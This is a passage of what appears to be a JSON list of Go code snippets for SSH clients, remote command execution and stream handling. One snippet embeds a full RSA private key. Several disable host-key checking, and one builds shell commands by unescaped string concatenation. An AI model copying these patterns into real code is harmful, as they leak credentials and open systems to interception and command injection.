ssh.Auth{\\n\\t\\tKeys: []string{client.PrivateKeyFile},\\n\\t}\\n\\tsshterm, err := ssh.NewNativeClient(client.User, client.Host, \\\"SSH-2.0-MyCustomClient-1.0\\\", client.Port, &keys, nil)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"Failed to request shell - %s\\\", err)\\n\\t}\\n\\tif !silent {\\n\\t\\tlog.Printf(\\\"Running: ssh -i \\\\\\\"%s\\\\\\\" %s@%s %s\\\", client.PrivateKeyFile, client.User, client.Host, command)\\n\\t}\\n\\tr, _, err := sshterm.Start(command)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"Failed to start command - %s\\\", err)\\n\\t}\\n\\tsshterm.Wait()\\n\\tresponse, err := ioutil.ReadAll(r)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"Failed to read response - %s\\\", err)\\n\\t}\\n\\treturn string(response), nil\\n}\",\n \"func (s *SSHer) Connect() (err error) {\\n\\taddr := net.JoinHostPort(s.Host, s.Port)\\n\\tconfig := &ssh.ClientConfig{\\n\\t\\tUser: s.User,\\n\\t\\tAuth: []ssh.AuthMethod{\\n\\t\\t\\tssh.Password(s.Pass),\\n\\t\\t},\\n\\t\\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\\n\\t}\\n\\tif s.client, err = ssh.Dial(\\\"tcp\\\", addr, config); err != nil {\\n\\t\\treturn\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (c *SDKActor) Connect(address string) string {\\n resultChan := make(chan string, 0)\\n c.actions <- func() {\\n fmt.Printf(\\\"Can open connection to %s\\\", address)\\n\\n result := c.execute(address)\\n\\n resultChan <- result\\n }\\n return <-resultChan\\n}\",\n \"func cmdSSH() {\\n\\tswitch state := status(B2D.VM); state {\\n\\tcase vmUnregistered:\\n\\t\\tlog.Fatalf(\\\"%s is not registered.\\\", B2D.VM)\\n\\tcase vmRunning:\\n\\t\\tcmdParts := append(strings.Fields(B2D.SSHPrefix), fmt.Sprintf(\\\"%d\\\", B2D.SSHPort), \\\"docker@localhost\\\")\\n\\t\\tif err := cmd(cmdParts[0], cmdParts[1:]...); err != nil {\\n\\t\\t\\tlog.Fatal(err)\\n\\t\\t}\\n\\tdefault:\\n\\t\\tlog.Fatalf(\\\"%s is not running.\\\", B2D.VM)\\n\\t}\\n}\",\n \"func (h *Handler) ExecuteWithStream(podName, containerName string, command []string, stdin io.Reader, stdout, stderr io.Writer) error {\\n\\t// if pod not found, returns error.\\n\\tpod, err := h.Get(podName)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// if containerName is empty, execute command in first container of the pod.\\n\\tif len(containerName) == 0 {\\n\\t\\tcontainerName = pod.Spec.Containers[0].Name\\n\\t}\\n\\n\\t// Prepare the API URL used to execute another process within the Pod.\\n\\t// In this case, we'll run a remote shell.\\n\\treq := h.restClient.Post().\\n\\t\\tNamespace(h.namespace).\\n\\t\\tResource(\\\"pods\\\").\\n\\t\\tName(podName).\\n\\t\\tSubResource(\\\"exec\\\").\\n\\t\\tVersionedParams(&corev1.PodExecOptions{\\n\\t\\t\\tContainer: containerName,\\n\\t\\t\\tCommand: command,\\n\\t\\t\\tStdin: true,\\n\\t\\t\\tStdout: true,\\n\\t\\t\\tStderr: true,\\n\\t\\t\\tTTY: false,\\n\\t\\t}, scheme.ParameterCodec)\\n\\n\\texecutor, err := remotecommand.NewSPDYExecutor(h.config, \\\"POST\\\", req.URL())\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Connect the process std(in,out,err) to the remote shell process.\\n\\treturn executor.Stream(remotecommand.StreamOptions{\\n\\t\\tStdin: stdin,\\n\\t\\tStdout: stdout,\\n\\t\\tStderr: stderr,\\n\\t\\tTty: false,\\n\\t})\\n}\",\n \"func (client *NativeClient) Shell(args ...string) error {\\n\\tvar (\\n\\t\\ttermWidth, termHeight = 80, 24\\n\\t)\\n\\tconn, err := ssh.Dial(\\\"tcp\\\", fmt.Sprintf(\\\"%s:%d\\\", client.Hostname, client.Port), &client.Config)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tsession, err := conn.NewSession()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tdefer session.Close()\\n\\n\\tsession.Stdout = os.Stdout\\n\\tsession.Stderr = os.Stderr\\n\\tsession.Stdin = os.Stdin\\n\\n\\tmodes := ssh.TerminalModes{\\n\\t\\tssh.ECHO: 1,\\n\\t}\\n\\n\\tfd := os.Stdin.Fd()\\n\\n\\tif term.IsTerminal(fd) {\\n\\t\\toldState, err := term.MakeRaw(fd)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\t\\tdefer term.RestoreTerminal(fd, oldState)\\n\\n\\t\\twinsize, err := term.GetWinsize(fd)\\n\\t\\tif err == nil {\\n\\t\\t\\ttermWidth = int(winsize.Width)\\n\\t\\t\\ttermHeight = int(winsize.Height)\\n\\t\\t}\\n\\t}\\n\\n\\tif err := session.RequestPty(\\\"xterm\\\", termHeight, termWidth, modes); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif len(args) == 0 {\\n\\t\\tif err := session.Shell(); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\t\\t// monitor for sigwinch\\n\\t\\tgo monWinCh(session, os.Stdout.Fd())\\n\\n\\t\\tsession.Wait()\\n\\t} else {\\n\\t\\tsession.Run(strings.Join(args, \\\" \\\"))\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func SSHAgentSSOLogin(proxyAddr, connectorID string, pubKey []byte, ttl time.Duration, insecure bool, pool *x509.CertPool, protocol string, compatibility string) (*auth.SSHLoginResponse, error) {\\n\\tclt, proxyURL, err := initClient(proxyAddr, insecure, pool)\\n\\tif err != nil {\\n\\t\\treturn nil, trace.Wrap(err)\\n\\t}\\n\\n\\t// create one time encoding secret that we will use to verify\\n\\t// callback from proxy that is received over untrusted channel (HTTP)\\n\\tkeyBytes, err := secret.NewKey()\\n\\tif err != nil {\\n\\t\\treturn nil, trace.Wrap(err)\\n\\t}\\n\\n\\tdecryptor, err := secret.New(&secret.Config{KeyBytes: keyBytes})\\n\\tif err != nil {\\n\\t\\treturn nil, trace.Wrap(err)\\n\\t}\\n\\n\\twaitC := make(chan *auth.SSHLoginResponse, 1)\\n\\terrorC := make(chan error, 1)\\n\\tproxyURL.Path = \\\"/web/msg/error/login_failed\\\"\\n\\tredirectErrorURL := proxyURL.String()\\n\\tproxyURL.Path = \\\"/web/msg/info/login_success\\\"\\n\\tredirectSuccessURL := proxyURL.String()\\n\\n\\tmakeHandler := func(fn func(http.ResponseWriter, *http.Request) (*auth.SSHLoginResponse, error)) http.Handler {\\n\\t\\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\\n\\t\\t\\tresponse, err := fn(w, r)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tif trace.IsNotFound(err) {\\n\\t\\t\\t\\t\\thttp.NotFound(w, r)\\n\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\terrorC <- err\\n\\t\\t\\t\\thttp.Redirect(w, r, redirectErrorURL, http.StatusFound)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\twaitC <- response\\n\\t\\t\\thttp.Redirect(w, r, redirectSuccessURL, http.StatusFound)\\n\\t\\t})\\n\\t}\\n\\n\\tserver := httptest.NewServer(makeHandler(func(w http.ResponseWriter, r *http.Request) (*auth.SSHLoginResponse, error) {\\n\\t\\tif r.URL.Path != \\\"/callback\\\" {\\n\\t\\t\\treturn nil, trace.NotFound(\\\"path not found\\\")\\n\\t\\t}\\n\\t\\tencrypted := r.URL.Query().Get(\\\"response\\\")\\n\\t\\tif encrypted == \\\"\\\" {\\n\\t\\t\\treturn nil, trace.BadParameter(\\\"missing required query parameters in %v\\\", r.URL.String())\\n\\t\\t}\\n\\n\\t\\tvar encryptedData *secret.SealedBytes\\n\\t\\terr := json.Unmarshal([]byte(encrypted), &encryptedData)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, trace.BadParameter(\\\"failed to decode response in %v\\\", r.URL.String())\\n\\t\\t}\\n\\n\\t\\tout, err := decryptor.Open(encryptedData)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, trace.BadParameter(\\\"failed to decode response: in %v, err: %v\\\", r.URL.String(), err)\\n\\t\\t}\\n\\n\\t\\tvar re *auth.SSHLoginResponse\\n\\t\\terr = json.Unmarshal([]byte(out), &re)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, trace.BadParameter(\\\"failed to decode response: in %v, err: %v\\\", r.URL.String(), err)\\n\\t\\t}\\n\\t\\treturn re, nil\\n\\t}))\\n\\tdefer server.Close()\\n\\n\\tu, err := url.Parse(server.URL + \\\"/callback\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, trace.Wrap(err)\\n\\t}\\n\\tquery := u.Query()\\n\\tquery.Set(\\\"secret\\\", secret.KeyToEncodedString(keyBytes))\\n\\tu.RawQuery = query.Encode()\\n\\n\\tout, err := clt.PostJSON(clt.Endpoint(\\\"webapi\\\", protocol, \\\"login\\\", \\\"console\\\"), SSOLoginConsoleReq{\\n\\t\\tRedirectURL: u.String(),\\n\\t\\tPublicKey: pubKey,\\n\\t\\tCertTTL: ttl,\\n\\t\\tConnectorID: connectorID,\\n\\t\\tCompatibility: compatibility,\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, trace.Wrap(err)\\n\\t}\\n\\n\\tvar re *SSOLoginConsoleResponse\\n\\terr = json.Unmarshal(out.Bytes(), &re)\\n\\tif err != nil {\\n\\t\\treturn nil, trace.Wrap(err)\\n\\t}\\n\\n\\tfmt.Printf(\\\"If browser window does not open automatically, open it by clicking on the link:\\\\n %v\\\\n\\\", re.RedirectURL)\\n\\n\\tvar command = \\\"sensible-browser\\\"\\n\\tif runtime.GOOS == \\\"darwin\\\" {\\n\\t\\tcommand = \\\"open\\\"\\n\\t}\\n\\tpath, err := exec.LookPath(command)\\n\\tif err == nil {\\n\\t\\texec.Command(path, re.RedirectURL).Start()\\n\\t}\\n\\n\\tlog.Infof(\\\"waiting for response on %v\\\", server.URL)\\n\\n\\tselect {\\n\\tcase err := <-errorC:\\n\\t\\tlog.Debugf(\\\"got error: %v\\\", err)\\n\\t\\treturn nil, trace.Wrap(err)\\n\\tcase response := <-waitC:\\n\\t\\tlog.Debugf(\\\"got response\\\")\\n\\t\\treturn response, nil\\n\\tcase <-time.After(60 * time.Second):\\n\\t\\tlog.Debugf(\\\"got timeout waiting for callback\\\")\\n\\t\\treturn nil, trace.Wrap(trace.Errorf(\\\"timeout waiting for callback\\\"))\\n\\t}\\n}\",\n \"func (sc *SSHClient) InteractiveCommand(cmd string) error {\\n\\tsession, err := sc.client.NewSession()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer session.Close()\\n\\tout, err := session.StdoutPipe()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tin, err := session.StdinPipe()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tgo processOut(out, in)\\n\\touterr, err := session.StderrPipe()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tgo processOut(outerr, in)\\n\\terr = session.Shell()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfmt.Fprintf(in, \\\"%s\\\\n\\\", cmd)\\n\\treturn session.Wait()\\n}\",\n \"func syncIO(session *ssh.Session, client *ssh.Client, conn *websocket.Conn) {\\n go func(*ssh.Session, *ssh.Client, *websocket.Conn) {\\n sessionReader, err := session.StdoutPipe()\\n if err != nil {\\n log.Fatal(err)\\n }\\n log.Println(\\\"======================== Sync session output ======================\\\")\\n defer func() {\\n log.Println(\\\"======================== output: end ======================\\\")\\n conn.Close()\\n client.Close()\\n session.Close()\\n }()\\n\\n for {\\n // set io.Writer of websocket\\n outbuf := make([]byte, 8192)\\n outn, err := sessionReader.Read(outbuf)\\n if err != nil {\\n log.Println(\\\"sshReader: \\\", err)\\n return\\n }\\n// fmt.Fprint(os.Stdout, string(outbuf[:outn]))\\n err = conn.WriteMessage(websocket.TextMessage, outbuf[:outn])\\n if err != nil {\\n log.Println(\\\"connWriter: \\\", err)\\n return\\n }\\n }\\n }(session, client, conn)\\n\\n go func(*ssh.Session, *ssh.Client, *websocket.Conn) {\\n sessionWriter, err := session.StdinPipe()\\n if err != nil {\\n log.Fatal(err)\\n }\\n\\n log.Println(\\\"======================== Sync session input ======================\\\")\\n defer func() {\\n log.Println(\\\"======================== input: end ======================\\\")\\n conn.Close()\\n client.Close()\\n session.Close()\\n }()\\n\\n for {\\n // set up io.Reader of websocket\\n _, reader, err := conn.NextReader()\\n if err != nil {\\n log.Println(\\\"connReaderCreator: \\\", err)\\n return\\n }\\n\\n dataTypeBuf := make([]byte, 1)\\n _, err = reader.Read(dataTypeBuf)\\n if err != nil {\\n log.Print(err)\\n return\\n }\\n\\n buf := make([]byte, 1024)\\n n, err := reader.Read(buf)\\n if err != nil {\\n log.Print(err)\\n return\\n }\\n\\n switch dataTypeBuf[0] {\\n // when pass data\\n case '1':\\n _, err = sessionWriter.Write(buf[:n])\\n if err != nil {\\n log.Print(err)\\n conn.WriteMessage(websocket.TextMessage, []byte(err.Error()))\\n return\\n }\\n // when resize terminal\\n case '0':\\n resizeMessage := WindowSize{}\\n err = json.Unmarshal(buf[:n], &resizeMessage)\\n if err != nil {\\n log.Print(err.Error())\\n continue\\n }\\n err = session.WindowChange(resizeMessage.Height, resizeMessage.Width)\\n if err != nil {\\n log.Print(err.Error())\\n conn.WriteMessage(websocket.TextMessage, []byte(err.Error()))\\n return\\n }\\n // unexpected data\\n default:\\n log.Print(\\\"Unexpected data type\\\")\\n }\\n }\\n }(session, client, conn)\\n}\",\n \"func Connect(cmd *cobra.Command) (radio.Connector, error) {\\n\\tif cmd == nil {\\n\\t\\treturn nil, errors.New(\\\"no cobra command given\\\")\\n\\t}\\n\\tconnector := connector{\\n\\t\\tcmd: cmd,\\n\\t}\\n\\n\\treturn &connector, nil\\n}\",\n \"func testCommand(t *testing.T, client ssh.Client, command string) error {\\n\\t// To avoid mixing the output streams of multiple commands running in\\n\\t// parallel tests, we combine stdout and stderr on the remote host, and\\n\\t// capture stdout and write it to the test log here.\\n\\tstdout := new(bytes.Buffer)\\n\\tif err := client.Run(command+\\\" 2>&1\\\", stdout, os.Stderr); err != nil {\\n\\t\\tt.Logf(\\\"`%s` failed with %v:\\\\n%s\\\", command, err, stdout.String())\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (s *p4RuntimeServer) StreamChannel(stream p4.P4Runtime_StreamChannelServer) error {\\n\\tfmt.Println(\\\"Starting bi-directional channel\\\")\\n\\tfor {\\n\\t\\tinData, err := stream.Recv()\\n\\t\\tif err == io.EOF {\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t\\tfmt.Printf(\\\"%v\\\", inData)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (s krpcServer) ChainStream(interceptors ...grpc.StreamServerInterceptor) grpc.ServerOption {\\n\\treturn grpc.ChainStreamInterceptor(interceptors...)\\n}\",\n \"func (s *BaseAspidaListener) EnterConnectionSSH(ctx *ConnectionSSHContext) {}\",\n \"func (c *Client) Run(ctx context.Context, cmds []*Command) error {\\n\\turl := c.Host + \\\":\\\" + c.Port\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", url, c.Sshconfig)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error in ssh.Dial to %v %w\\\", url, err)\\n\\t}\\n\\n\\tdefer client.Close()\\n\\tsession, err := client.NewSession()\\n\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error in client.NewSession to %v %w\\\", url, err)\\n\\t}\\n\\tdefer session.Close()\\n\\n\\tmodes := ssh.TerminalModes{\\n\\t\\tssh.ECHO: 0, // disable echoing\\n\\t\\tssh.TTY_OP_ISPEED: 14400, // input speed = 14.4kbaud\\n\\t\\tssh.TTY_OP_OSPEED: 14400, // output speed = 14.4kbaud\\n\\t}\\n\\n\\tif err := session.RequestPty(\\\"xterm\\\", 80, 40, modes); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error in session.RequestPty to %v %w\\\", url, err)\\n\\t}\\n\\n\\tw, err := session.StdinPipe()\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error in session.StdinPipe to %v %w\\\", url, err)\\n\\t}\\n\\tr, err := session.StdoutPipe()\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error in session.StdoutPipe to %v %w\\\", url, err)\\n\\t}\\n\\tin, out := listener(w, r, c.Prompt)\\n\\tif err := session.Start(\\\"/bin/sh\\\"); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error in session.Start to %v %w\\\", url, err)\\n\\t}\\n\\n\\t<-out // ignore login output\\n\\tfor _, cmd := range cmds {\\n\\t\\tselect {\\n\\t\\tcase <-ctx.Done():\\n\\t\\t\\treturn errors.New(\\\"canceled by context\\\")\\n\\n\\t\\tdefault:\\n\\t\\t\\tlogf(cmd.OutputLevel, \\\"[%v]: cmd [%v] starting...\\\", c.Host, cmd.Input)\\n\\n\\t\\t\\tin <- cmd\\n\\t\\t\\terr := cmd.wait(ctx, out)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn fmt.Errorf(\\\"[%v]: Error in cmd [%v] at waiting %w\\\", c.Host, cmd.Input, err)\\n\\t\\t\\t}\\n\\n\\t\\t\\tif outputs, ok := cmd.output(); ok {\\n\\t\\t\\t\\tfor _, output := range outputs {\\n\\t\\t\\t\\t\\tfmt.Println(output)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\tdoNext, err := cmd.Callback(cmd)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn fmt.Errorf(\\\"[%v]: Error in cmd [%v] Callback %w\\\", c.Host, cmd.Input, err)\\n\\t\\t\\t}\\n\\n\\t\\t\\tif doNext && cmd.NextCommand != nil {\\n\\t\\t\\t\\tnextCmd := cmd.NextCommand(cmd)\\n\\n\\t\\t\\t\\tlogf(nextCmd.OutputLevel, \\\"[%v]: next cmd [%v] starting...\\\", c.Host, nextCmd.Input)\\n\\n\\t\\t\\t\\tin <- nextCmd\\n\\t\\t\\t\\terr = nextCmd.wait(ctx, out)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn fmt.Errorf(\\\"[%v]: Error in next cmd [%v] at waiting %w\\\", c.Host, cmd.Input, err)\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif outputs, ok := nextCmd.output(); ok {\\n\\t\\t\\t\\t\\tfor _, output := range outputs {\\n\\t\\t\\t\\t\\t\\tfmt.Println(output)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t_, err := nextCmd.Callback(nextCmd)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn fmt.Errorf(\\\"[%v]: Error in next cmd [%v] Callback %w\\\", c.Host, nextCmd.Input, err)\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tlogf(nextCmd.OutputLevel, \\\"[%v]: next cmd [%v] done\\\", c.Host, nextCmd.Input)\\n\\n\\t\\t\\t}\\n\\n\\t\\t\\tlogf(cmd.OutputLevel, \\\"[%v]: cmd [%v] done\\\", c.Host, cmd.Input)\\n\\t\\t}\\n\\t}\\n\\tsession.Close()\\n\\n\\treturn nil\\n}\",\n \"func newStream(id uint32, frameSize int, sess *Session) *Stream {\\n\\ts := new(Stream)\\n\\ts.id = id\\n\\ts.chReadEvent = make(chan struct{}, 1)\\n\\ts.frameSize = frameSize\\n\\ts.sess = sess\\n\\ts.die = make(chan struct{})\\n\\treturn s\\n}\",\n \"func (cfg *Config) StartStream() (*Stream, error) {\\n\\tif err := cfg.createCmd(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tpt, err := pty.Start(cfg.cmd)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tstr := &Stream{\\n\\t\\tcmd: cfg.cmd,\\n\\n\\t\\tpmu: sync.Mutex{},\\n\\t\\tpt: pt,\\n\\n\\t\\twg: sync.WaitGroup{},\\n\\t\\trmu: sync.RWMutex{},\\n\\n\\t\\t// pre-allocate\\n\\t\\tqueue: make([]Row, 0, 500),\\n\\t\\tpid2Row: make(map[int64]Row, 500),\\n\\t\\terr: nil,\\n\\t\\terrc: make(chan error, 1),\\n\\n\\t\\tready: false,\\n\\t\\treadyc: make(chan struct{}, 1),\\n\\t}\\n\\tstr.rcond = sync.NewCond(&str.rmu)\\n\\n\\tstr.wg.Add(1)\\n\\tgo str.enqueue()\\n\\tgo str.dequeue()\\n\\n\\t<-str.readyc\\n\\treturn str, nil\\n}\",\n \"func teeSSHStart(s *ssh.Session, cmd string, outB io.Writer, errB io.Writer, wg *sync.WaitGroup) error {\\n\\toutPipe, err := s.StdoutPipe()\\n\\tif err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"stdout\\\")\\n\\t}\\n\\n\\terrPipe, err := s.StderrPipe()\\n\\tif err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"stderr\\\")\\n\\t}\\n\\n\\tgo func() {\\n\\t\\tif err := teePrefix(ErrPrefix, errPipe, errB, klog.V(8).Infof); err != nil {\\n\\t\\t\\tklog.Errorf(\\\"tee stderr: %v\\\", err)\\n\\t\\t}\\n\\t\\twg.Done()\\n\\t}()\\n\\tgo func() {\\n\\t\\tif err := teePrefix(OutPrefix, outPipe, outB, klog.V(8).Infof); err != nil {\\n\\t\\t\\tklog.Errorf(\\\"tee stdout: %v\\\", err)\\n\\t\\t}\\n\\t\\twg.Done()\\n\\t}()\\n\\n\\treturn s.Start(cmd)\\n}\",\n \"func main() {\\n\\tprintln(\\\"ENTER THE ADDRESS TO CONNECT (ex: \\\\\\\"185.20.227.83:22\\\\\\\"):\\\") //185.20.227.83:22\\n\\tline, _, _ := bufio.NewReader(os.Stdin).ReadLine()\\n\\taddr := string(line)\\n\\tprintln(\\\"CHOOSE A CONNECTION METHOD \\\\\\\"PASSWORD\\\\\\\" OR \\\\\\\"KEY\\\\\\\" (ex: \\\\\\\"PASSWORD\\\\\\\"):\\\")\\n\\tline, _, _ = bufio.NewReader(os.Stdin).ReadLine()\\n\\tconnMethod := string(line)\\n\\n\\tvar config *ssh.ClientConfig\\n\\tif connMethod == \\\"PASSWORD\\\" {\\n\\t\\tconfig = getConfigWithPass()\\n\\t} else if connMethod == \\\"KEY\\\" {\\n\\t\\tconfig = getConfigWithKey()\\n\\t} else {\\n\\t\\tlog.Fatal(\\\"INCORRECT METHOD\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", addr, config)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\tprintln(\\\"ENTER \\\\\\\"EXIT\\\\\\\" TO QUIT\\\")\\n\\tfor {\\n\\t\\tfmt.Println(\\\"ENTER THE COMMAND:\\\")\\n\\t\\tline, _, _ = bufio.NewReader(os.Stdin).ReadLine()\\n\\t\\tcommand := string(line)\\n\\t\\tfmt.Println(\\\"YOUR COMMAND:\\\", command)\\n\\t\\tif command == \\\"EXIT\\\" {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tsendCommandToServer(client, command)\\n\\t}\\n}\",\n \"func copyConnect(user, host string, port int) (*sftp.Client, error) {\\n\\tvar (\\n\\t\\tauth \\t\\t\\t[]ssh.AuthMethod\\n\\t\\taddr \\t\\t\\tstring\\n\\t\\tclientConfig \\t*ssh.ClientConfig\\n\\t\\tsshClient \\t\\t*ssh.Client\\n\\t\\tsftpClient \\t\\t*sftp.Client\\n\\t\\terr \\t\\t\\terror\\n\\t)\\n\\tauth = make([]ssh.AuthMethod, 0)\\n\\ttestPrivateKeys, err := ssh.ParseRawPrivateKey([]byte(`-----BEGIN RSA PRIVATE KEY-----\\nMIIEowIBAAKCAQEApnIg4Q/g2thAR3vAUw6EPjqgWIEJ7+FZ+AQZtHUc7b920VJI\\n7JPmZ1xwdUArlCpQIMAt6mAwV9Z/C+Nc9qIpIeQwKaAd6YWVdr3jFyHLC9rqIT2g\\nVifCDnMkSnV7Lvuu5QTvgURGOYpyUhUDJBdBY4YAu9q1ITy35oB0xLh1vUCwuDxI\\noM5lMc+HsPjf4/SyfyAacBuoD7BvAJsxJ6xuXBaIlmWcw8o76O/Y5PGcYKPS9/bI\\nrN8TrstuWILp2Nvi4WoxVMIQ98i1S6jM47arI+vNGlFrwolrCanH8GBj1NOBh4BF\\nJwJisi0Z3+RrtxOVRtgZ9S/tKdK73X6EpbN4hwIDAQABAoIBAAuBRAiKgm5eGENY\\nqHiVPkrW3pJ/iOJN31wnXGd+2NsOKvZZC7Vem8R1PUi9gMWjDxrUbdgPggfwSaPW\\nuWxK1TEEhte5u5eSpjwo7/N/YHuXTCu0CMsrwFwjVVTYPgWHXBV0e+GhiIEdsr09\\nupPaD6kDcDWL7o03lzaVlnyqi2jjXT6kUDyEFCbIAGtoxaYf3clT5e30FnyZhiCH\\nm8/Qqv5M1wcVIVdsItHqMsQXQF34eT/Lg3r/Ui1bQcUldc6yYjGpC08EdDNKhGT2\\nf2QwAv7UJ+GB8RNl12w3fAh3ReuiW8NEtDQ1nuSahkX5YlIWkqRDOd6Sjrg1ZkfW\\nu0/zPZECgYEA2m+w90vb3ui7M/Q0AYJivo88YKhT3ismQs2+CkkgWJ7IohJj3VSh\\nREljeAwEVEKv8G8lXgjTNKQ+B4sPFckIvIWGkwo7cuerIwn9n41K20oGb6gEl0jW\\nmVbhv0dy6yfp8deBCOZB4YgonXWsuv4lw8DaUoakGxZgFfChjH0VvbUCgYEAwxGj\\nrmq+RQWYYna9WWn2GPEJoX0SBU39pHQYBKfQ++pMIUrrryCjPvBNnIICng82RjTp\\nMU8BvudvDCJgj3J79TDetBnwVt8/nAGIkleyuWzDMQwF7khBS9/TqUUqmH88GmOt\\n40BPThCBx8YgKiPpmGYgPnUww1bqpvxKT9O0IssCgYEAjFH7qKD+mW9/8pwJXH7Z\\n1/hDnQQE/E9TwM5SKmFXehZmZFbT+DaJckiCsXdmwIomY5nCs2mP490uS8I06pW+\\nGvzbulF0ZxgTg+rDFl+5mq0u/UM9z8FmuhJp6mqHlDCLxGPf7EuePrctABm74FOr\\nBtk4ZpM/kHcLOozd+lXQRZECgYBipWr26zgpQ3kaYh3DN9iiKFLMfak9UYFxRtxW\\njl8a5hN1yqOBPqoPTAqTmROlxt+VhXBf5Spm1jbMFh5qrGSPTBVzUqK968wJIqVk\\nDEFvj9bt2LyvEY8jxZ8OPNIbqExGtB3djEoOmj5nPoRJizu4O/0WWME+J5gmtfMG\\nh3LTHQKBgDlITGqdIM4Pp54X5ppOW9S55yaAMBJUUhgUsJ73vEcQsBCZ8xkJXg/Q\\nmuPfcFzSD/IgeFoWxYrJIk0CBov3ah+14z5YV1JoKIXAlL7V18f7Omaav8/bozOP\\nx78MQ06CGEFRcD4LPMITxTDj6zDm1h7iPhG4m2c9Shy0rwpFmFdd\\n-----END RSA PRIVATE KEY-----`))\\n\\tif err != nil {\\n\\t\\t// fmt.Println(\\\"Unable to parse test key :\\\", err)\\n\\t\\treturn nil, err\\n\\t}\\n\\ttestSingers, _ := ssh.NewSignerFromKey(testPrivateKeys)\\n\\tauth = append(auth, ssh.PublicKeys(testSingers))\\n\\tclientConfig = &ssh.ClientConfig{\\n\\t\\tUser: \\t\\t\\t\\tuser,\\n\\t\\tAuth: \\t\\t\\t\\tauth,\\n\\t\\tTimeout: \\t\\t\\t30 * time.Second,\\n\\t\\tHostKeyCallback: \\tfunc(hostname string, remote net.Addr, key ssh.PublicKey) error {\\n\\t\\t\\treturn nil\\n\\t\\t},\\n\\t}\\n\\taddr = fmt.Sprintf(\\\"%s:%d\\\", host, port)\\n\\tif sshClient, err = ssh.Dial(\\\"tcp\\\", addr, clientConfig); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tif sftpClient, err = sftp.NewClient(sshClient); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn sftpClient, nil\\n}\",\n \"func Exec(config *ssh.ClientConfig, addr string, workDir string, cmd string, nixConf string) (bytes.Buffer, error) {\\n\\tvar b bytes.Buffer // import \\\"bytes\\\"\\n\\n\\t// Connect\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", net.JoinHostPort(addr, \\\"22\\\"), config)\\n\\tif err != nil {\\n\\t\\treturn b, err\\n\\t}\\n\\t// Create a session. It is one session per command.\\n\\tsession, err := client.NewSession()\\n\\tif err != nil {\\n\\t\\treturn b, err\\n\\t}\\n\\tdefer session.Close()\\n\\n\\tsession.Stderr = os.Stderr // get output\\n\\tsession.Stdout = &b // get output\\n\\t// you can also pass what gets input to the stdin, allowing you to pipe\\n\\t// content from client to server\\n\\t// session.Stdin = bytes.NewBufferString(\\\"My input\\\")\\n\\n\\t// Finally, run the command\\n\\tfullCmd := \\\". ~/.nix-profile/etc/profile.d/nix.sh && cd \\\" + workDir + \\\" && nix-shell \\\" + nixConf + \\\" --command '\\\" + cmd + \\\"'\\\"\\n\\tfmt.Println(fullCmd)\\n\\terr = session.Run(fullCmd)\\n\\treturn b, err\\n}\",\n \"func (bc *BaseCluster) SSH(m Machine, cmd string) ([]byte, []byte, error) {\\n\\tvar stdout 